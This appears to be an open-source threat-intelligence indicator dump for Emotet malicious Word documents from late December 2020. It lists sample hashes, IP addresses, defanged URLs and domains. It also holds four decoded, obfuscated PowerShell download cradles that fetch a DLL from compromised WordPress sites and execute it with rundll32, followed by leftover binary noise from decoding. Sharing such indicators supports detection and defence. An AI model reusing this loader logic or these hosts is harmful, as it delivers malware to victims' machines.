Emotet_Doc_out_2020-12-29_17_38.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
605ea5154e06e5f2f924f710ca1d11860d6a1d580c332e987d868bb932f74d69
710d976654484d1f7f5e9de7dd879f96a633d06dec48bb541e2f9a5ad4802761
ea1c7941a4a0086eb66c13e1fa07e3d676c8d820ddb8af8564273687ed1f4ff1
350c95854745c25aa65ea11fda2924fec2eb2f28e18f58cede9457b04a12246e
8384bfd505f2c85b0b26ef4775836b4c80213f1e68c828fbb63ed1d5be77b45e
6e899d89f8145dbdf1c7731133b1147c72b1e1ec7d74c55df2207d1d0956d2bb
32174c01d5f247d670115aecf780fb5095dc662394c8b508cdea6bc573ce41e1
91c5fe46b632170186cf706ee1dff31a8b7843207b4ab6fe0ae0a959441df5eb
c4313307b550b117674ae7c889b2caa8789d1b3bb43f830c73b4be36bf0ecac3
6215c56a46e5a737e08111bf9ebd4c451234bf7a86ae72ea7f7739858fa2fc4d
facf68a1701fb1aad5ce47bffda72f4f0da657e20a8ef080323197379f5528d3
38a5291cf712cefa80d5ccded18aa5ca30ddc450cf4ba73814757d3d02bef997
38a5291cf712cefa80d5ccded18aa5ca30ddc450cf4ba73814757d3d02bef997
63c5ef92de165fee3fdadc69c7839596c003e35069610a74e30ce579b2a44f51
586844f948c50f61b78e54948f7c6faebbd09efd14db0383199c2028418d5fc6
cffc2b87dffdf1681957a997fa8ed1dde5774a918ebd6ec090c0b6a1d1bb54f1
7b31f0e87b058f66367a842f7de451706cb4bdc9ba42669293fc7fad0d25dba9
d6e12b7a07cb86c0a9b5c841a738829e0a5159e745d93f3e0955e0e46754f774
0b30502c830f8cc7c87978637d0e47918353373f4b11cc38c90853f3c1aee639
0b30502c830f8cc7c87978637d0e47918353373f4b11cc38c90853f3c1aee639
5fe9cbadb58f6699138293a13d32243cfd54a642261bcdce0925bc69f100b0ab
5fe9cbadb58f6699138293a13d32243cfd54a642261bcdce0925bc69f100b0ab
31ad3b191b70b79811941c7a44c372d09ac61a628ff15484a3b89bf6eb8b8000
31ad3b191b70b79811941c7a44c372d09ac61a628ff15484a3b89bf6eb8b8000
fcc61c1b3639ee120a6b1e8e9709614682434b8a6017bea91fef29a063f0d3b9
eed7eb4ff2b2f729e064ed7664af159c315e5d2e1a63fbd8cb1db678af78eb9a
9ee1088bf930cbfa09f67536b5766c7f8244b634dbb2d97c8bd5acb1e0e819e5
7dba6e6b9fe035ecb83da0c244047b098f3517b1191af22bb61b41cb691048f3
defb779ab487b270c7249db116af590a9221a18bd7d0c9ca9695a4fc60f57e24
4e39d12677f7e8f0f0e8c56a8fe12be4947d79c184664f94155b76f81e0783a6
b81270f7ad2363a6256130a5415ca27fa98a1bca66f0870983b8077af932fb29
6912cfcfbbd57211314ac15f1f60de45708fd6dec388160710b1bada06a292b8
75fc04acda64a9e1abda8390390af81b5c9a1aca63b07e6e3d710ca3c97924bd
fe829f49465fa85f7a3c46ee46583bb2607645f0fa5bf2b5446ff5508e9b340f
c3e226fb6ecea5d89f622a7e79eabcb292fd67815b8f5f23fe86424b5947917e
c0442148fce69279b7551a4e7514c90ac71f3d96653c4d88757fe132dacd4ebb
8464ce9c05a162a1b025bd1d312acb11b02371989481b2c82fac0cff35cd40ae
2c65b3ad0c28b1f2d1ca15afde94e344d663fa438341bf9a8d8634649026824e
b2dab8fab758e4669061b7dec41605bb07d75e7d1268e5c48bf26c866f920d18
b34953cd8e1e329f1bb6cbfafe7c962281911a179c5dd54e94e058b0bfaf30eb
827102ec1f787e529f384e4daa25348f5c5fd2643d68141756744c1637794830
183a5b94db65a0ba1c688635fd9e23ccfc8dd3e69989d92458902f385d9ceaad
b1ccfa373dfcf601e71eef31344b0d0101f33dc8b9e4b2a9b8ca797799b02193
f80563634435c8f281978ef3d248fca600d52b19c3b1a74971d4d9fe94d722fb
c9750ac8a626312ad409e617b3c98873ed464883a11be1871fa0e140cfcda4dd
2c84e779ac606f183438bb53e8924fd693e3a9fb43d933dd8afbe02ac2b57fa6
d8ff63c249a4c63851ef1f033be0dc23f85e88273cc88534015cf61ca771ef88
f0ebed9acda5ac6d88abaa743612c7bc6948a5db18bc40731bb19d935edad77b
a1bcd029e0d8975bfd54923e041f0d8011665538af8b0a87a3dbc5d903b2369a
ed74d8723e2c975143998687e0df7f1bcf9adba626d61524693251642622e436
566b3270a8ac0a8c1f96a7c9b71ad1cf55419d19b84be9491251928e6fba2fac
93b5810b60939fdc63bc152dabb0723fd8505ca85acea04f6891fbed64a8e6d4
768cac32a7e61598368fa17fcb6792ca6d504cfab9cdcd29cb406ced3a9675c2
c3bb8b3054a34f8c8a5e1009b10d87a9b4e72523d863fd24aaf4c3852202ac49
2e5599c71028de6a5c1202946484ff5020f38bb282b78e69aade9c840c3e2f24
2e5599c71028de6a5c1202946484ff5020f38bb282b78e69aade9c840c3e2f24
da20c5b0951bee6074249c43993ee8c2f40e48c4a692aa2620334a44d5e3e19b
da20c5b0951bee6074249c43993ee8c2f40e48c4a692aa2620334a44d5e3e19b
5b172cddbf9bf1a311835a9225b93a10ffb5a872964890c3b38295d53de89bae
5b172cddbf9bf1a311835a9225b93a10ffb5a872964890c3b38295d53de89bae
2a6e2254ed03770a8a827cb07ee779059803097fb0f598476b204162211846a1
534741cd011d3d7a34c5c3c0dee6f721faec6a7e6f81720011c3f0d54556b0e8
534741cd011d3d7a34c5c3c0dee6f721faec6a7e6f81720011c3f0d54556b0e8
5c5623a3694e5942daf33e64f295aebc685866606505c838c66bb9e054943e70
c7991171d6070c5dbd364aac10be197a02acc9582d85ae29ecd5fd45ddc7da23
f6b6fffe0fe89481910e5173abb556c5fbd9e6e8f9006bc12e27fe996c9358cc
f6b6fffe0fe89481910e5173abb556c5fbd9e6e8f9006bc12e27fe996c9358cc
f63df71b55e2e7d9874fbfe9d3dc6fb6bcdaac70deec04341d0e98350e9b2687
ee55aa51e953dfedb51d1298067642d42043a1a1beae09840514f5aa11dd7433


IPs:
101.50.1.27
104.24.120.146
104.24.121.146
104.27.170.49
104.27.171.49
112.213.89.42
142.44.230.78
162.254.150.6
172.67.140.21
172.67.189.103
185.104.45.30
191.112.178.60
206.189.146.42
207.148.24.55
24.231.88.85
31.207.36.17
35.209.87.183
50.116.111.59
75.177.207.146
81.169.145.152
98.109.133.80



URLs:
hxxps://dr-yasser.com/wordpress/JNS/
hxxp://dupuisacademy.com/projects/media/Me6bB/
hxxp://siitav.net/cuim/data/2/
hxxps://alabamaballdrop.com/wp-includes/kef1U/
hxxp://www.savedahorses.org/wp-content/xH/
hxxps://coastlinepoolspa.com/wp-content/S88uK/
hxxps://cashyinvestment.org/wp-content/IH/
hxxp://helionspharmaceutical.com/wp-admin/Yg/
hxxp://memoria.od.ua/wp-admin/GbLB2/
hxxps://worldcologistics.co.za/wp-includes/BVO1P/
hxxps://batdongsanvip.com.vn/wp-content/jHkl/
hxxp://onevoice.co.in/best-selling-wcc/d3/
hxxp://scope-sci.org/kahoot-bot-tj6t0/22/
hxxp://sistempark.net/wp-includes/7AP/
hxxps://familylifetruth.com/cgi-bin/PPq7/
hxxps://coshou.com/wp-admin/EM/
hxxps://www.todoensaludips.com/wp-includes/9/
hxxps://dieuhoaxanh.vn/wp-admin/a/
hxxp://cahyaproperty.bbtbatam.com/mhD/
hxxp://depannage-vehicule-maroc.com/wp-admin/c/
hxxps://techworldo.com/cgi-bin/gcZ/
hxxp://206.189.146.42/wp-admin/F0xAutoConfig/XR9/
hxxp://paroissesaintabraham.com/wp-admin/H/
hxxps://lnfch.com/wp-includes/quC/
hxxps://nahlasolimandesigns.com/wp-admin/0HHK7/
hxxp://harmonimedia.com/wp-content/uploads/Zol/
hxxp://ncap.lbatechnologies.com/media/6iQ/
hxxps://lainiotisllc.com/postauth/7XhB/


Domains:
dr-yasser.com
dupuisacademy.com
siitav.net
alabamaballdrop.com
www.savedahorses.org
coastlinepoolspa.com
cashyinvestment.org
helionspharmaceutical.com
memoria.od.ua
worldcologistics.co.za
batdongsanvip.com.vn
onevoice.co.in
scope-sci.org
sistempark.net
familylifetruth.com
coshou.com
www.todoensaludips.com
dieuhoaxanh.vn
cahyaproperty.bbtbatam.com
depannage-vehicule-maroc.com
techworldo.com
206.189.146.42
paroissesaintabraham.com
lnfch.com
nahlasolimandesigns.com
harmonimedia.com
ncap.lbatechnologies.com
lainiotisllc.com


Decoded Base64 Powershell:
1��>��^�>��^�<�?�^,�]z  $8xdQIg= [tYpe]"{3}{1}{2}{0}" -f ry,DI,RECTO,sySTEm.io.  ;
   Set-iteM  VariABle:8Rg1 [tyPE]"{1}{0}{2}{4}{3}{6}{5}"-fStEm.NET,sY,.sER,PO,viCE,nTmANager,I   ;
$ErrorActionPreference = SilentlyContinue;
$S9u5o1z=$T51S  [char]64  $F74E;
$Z12G=V_4Y;
  $8XDqiG::"cr`ea`TediReCtO`Ry"$HOME  E3oX5sgbzgE3oTsafvb6E3o."R`ePlace"[CHar]69[CHar]51[CHar]111,\;
$S74H=M96R;
  $8rG1::"S`eC`Uri`TYpR`otOCOl" = Tls12;
$E82Z=A8_K;
$Z0at_z2 = E2_B;
$D56H=F41D;
$Nxw6th2=$HOME{0}X5sgbzg{0}Tsafvb6{0}  -f [CHAR]92$Z0at_z2.dll;
$E18Y=L28P;
$Ts3_y92=hxxps://dr-yasser.com/wordpress/JNS/
hxxp://dupuisacademy.com/projects/media/Me6bB/
hxxp://siitav.net/cuim/data/2/
hxxps://alabamaballdrop.com/wp-includes/kef1U/
hxxp://www.savedahorses.org/wp-content/xH/
hxxps://coastlinepoolspa.com/wp-content/S88uK/
hxxps://cashyinvestment.org/wp-content/IH/."repLA`ce"hxxp,[array]sd,sw,hxxp,3d[1]."s`pLIT"$I_2F  $S9u5o1z  $D_0G;
$O73P=B33N;
foreach $A91z_yc in $Ts3_y92{try{.New-Object sySteM.NET.WEbCliEnt."dOwNL`OADf`I`LE"$A91z_yc, $Nxw6th2;
$X7_D=Z_1Y;
If .Get-Item $Nxw6th2."LEN`gth" -ge 34568 {&rundll32 $Nxw6th2,Control_RunDLL."To`St`RiNg";
$N54K=H41B;
break;
$J07H=T24J}}catch{}}$Z23W=Z_4G<�?�^,�]z  SeT-iTem VARIaBLE:CAPBGF    [TyPE]"{3}{1}{2}{4}{0}" -FTOry,.I,O.,sYsteM,DiREC  ;
  SeT-iteM vARiaBLE:5GM  [type]"{4}{1}{2}{0}{3}{5}" -f .Se,nE,t,rvicepoINtmanAg,SysTEM.,eR ;
 $ErrorActionPreference = SilentlyContinue;
$Sf7r06r=$Z33K  [char]64  $O82L;
$P09B=F38Z;
   ITEM  VArIAbLE:CApBGf  .VAlUe::"CR`EATE`dIrec`Tory"$HOME  7COWm389ml7COB92hobr7CO."r`EPlACE"7CO,[stRInG][cHAR]92;
$P42P=G44B;
 $5Gm::"seC`UrITyPr`oT`OcoL" = Tls12;
$G88Y=S81A;
$Y4eph5c = Q76T;
$K11L=Y81J;
$B1y6qng=$HOME{0}Wm389ml{0}B92hobr{0}-F  [CHAR]92$Y4eph5c.dll;
$S27X=F51O;
$Hflehf_=hxxp://helionspharmaceutical.com/wp-admin/Yg/
hxxp://memoria.od.ua/wp-admin/GbLB2/
hxxps://worldcologistics.co.za/wp-includes/BVO1P/
hxxps://batdongsanvip.com.vn/wp-content/jHkl/
hxxp://onevoice.co.in/best-selling-wcc/d3/
hxxp://scope-sci.org/kahoot-bot-tj6t0/22/
hxxp://sistempark.net/wp-includes/7AP/."RE`pL`AcE"hxxp,[array]sd,sw,hxxp,3d[1]."s`pliT"$Y30O  $Sf7r06r  $N38R;
$Z95V=E40O;
foreach $Ys4kbzs in $Hflehf_{try{&New-Object system.NeT.webCLIEnT."d`Ow`NlOaDfi`Le"$Ys4kbzs, $B1y6qng;
$N74Q=O12G;
If .Get-Item $B1y6qng."L`ENg`Th" -ge 32253 {&rundll32 $B1y6qng,Control_RunDLL."To`stRi`NG";
$O09V=G68Z;
break;
$C5_I=T99P}}catch{}}$O67L=Z39F<�?�^,�]zSET-VarIABle  8ih567    [tYpe]"{3}{0}{4}{2}{1}"-fYsT,RecTORy,M.iO.DI,s,e;
   SET-Item "vA""RiA""bLe:R""i""7xO3" [TyPe]"{2}{5}{4}{3}{1}{0}"-F R,MaNaGE,S,VIcEPoInt,.neT.sEr,Ystem   ;
  $ErrorActionPreference = SilentlyContinue;
$H0wcfnc=$P58B  [char]64  $Z19R;
$B53N=S77H;
    ls  VarIaBLE:8ih567  .Value::"CREAt`E`D`iRecTOrY"$HOME  eN7Rr1sj9aeN7Bcx4iayeN7."reP`La`cE"[CHaR]101[CHaR]78[CHaR]55,[sTrinG][CHaR]92;
$V57R=B46V;
 vaRIaBle "R""i""7xO3" .VAlUE::"SeCurI`T`yP`RO`ToCOL" = Tls12;
$X44S=S81D;
$Pa2nur4 = K_9O;
$O66G=F88W;
$Cyg0ku7=$HOMEeAwRr1sj9aeAwBcx4iayeAw -repLACeeAw,[chaR]92$Pa2nur4.dll;
$E01B=R7_S;
$Mrkjcim=hxxps://familylifetruth.com/cgi-bin/PPq7/
hxxps://coshou.com/wp-admin/EM/
hxxps://www.todoensaludips.com/wp-includes/9/
hxxps://dieuhoaxanh.vn/wp-admin/a/
hxxp://cahyaproperty.bbtbatam.com/mhD/
hxxp://depannage-vehicule-maroc.com/wp-admin/c/
hxxps://techworldo.com/cgi-bin/gcZ/."rEPlA`cE"hxxp,[array]sd,sw,hxxp,3d[1]."sPl`It"$T26A  $H0wcfnc  $B75P;
$W71T=P93X;
foreach $Fs6mo5w in $Mrkjcim{try{.New-Object sYsteM.net.WEbCLiEnt."DOwNLoAdf`I`Le"$Fs6mo5w, $Cyg0ku7;
$G75Q=W8_R;
If &Get-Item $Cyg0ku7."l`ength" -ge 30575 {.rundll32 $Cyg0ku7,Control_RunDLL."T`osTr`ING";
$B29D=Z62W;
break;
$F26F=V37W}}catch{}}$J1_N=T08H<�?�^,�]zSet-iTem VArIAbLE:6Jr   [TypE]"{4}{1}{3}{0}{2}"-f.DIrEC,STeM.,TorY,Io,SY   ;
 sv "U""hB"   [type]"{7}{2}{1}{8}{4}{3}{6}{5}{0}" -FNaGer,M.,e,IcEPoiN,sERV,MA,t,syst,net.   ;
$ErrorActionPreference = SilentlyContinue;
$Ochgap2=$P39Q  [char]64  $O_0A;
$V71F=X20R;
 VARIaBLe  6JR.Value::"CR`EAt`EDI`RecToRY"$HOME  fQuXf5p77qfQuU1gvb1qfQu."REpl`ACe"fQu,[sTRINg][ChAr]92;
$D25B=J40L;
   DIr "VArIAbl""e:uH""b" .VAluE::"S`EcURI`TY`P`RoTocOL" = Tls12;
$A98J=V82S;
$Yohevwj = F_5P;
$W97L=L31J;
$I85vh_v=$HOMENRaXf5p77qNRaU1gvb1qNRa  -rEPLaCe  NRa,[CHar]92$Yohevwj.dll;
$L98R=G15I;
$Vgr1bqy=hxxp://206.189.146.42/wp-admin/F0xAutoConfig/XR9/
hxxp://paroissesaintabraham.com/wp-admin/H/
hxxps://lnfch.com/wp-includes/quC/
hxxps://nahlasolimandesigns.com/wp-admin/0HHK7/
hxxp://harmonimedia.com/wp-content/uploads/Zol/
hxxp://ncap.lbatechnologies.com/media/6iQ/
hxxps://lainiotisllc.com/postauth/7XhB/."rE`p`LaCE"hxxp,[array]sd,sw,hxxp,3d[1]."spl`It"$Z_8Q  $Ochgap2  $G12I;
$E99A=O85F;
foreach $Mknnyio in $Vgr1bqy{try{.New-Object sySTEM.Net.webCLIEnt."Do`wNlOAdFI`LE"$Mknnyio, $I85vh_v;
$V94R=A_5W;
If .Get-Item $I85vh_v."lenG`Th" -ge 32047 {.rundll32 $I85vh_v,Control_RunDLL."tOST`RI`Ng";
$O15B=D__Z;
break;
$B86N=A87I}}catch{}}$R32K=R16L���������?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^���z˦�?�^�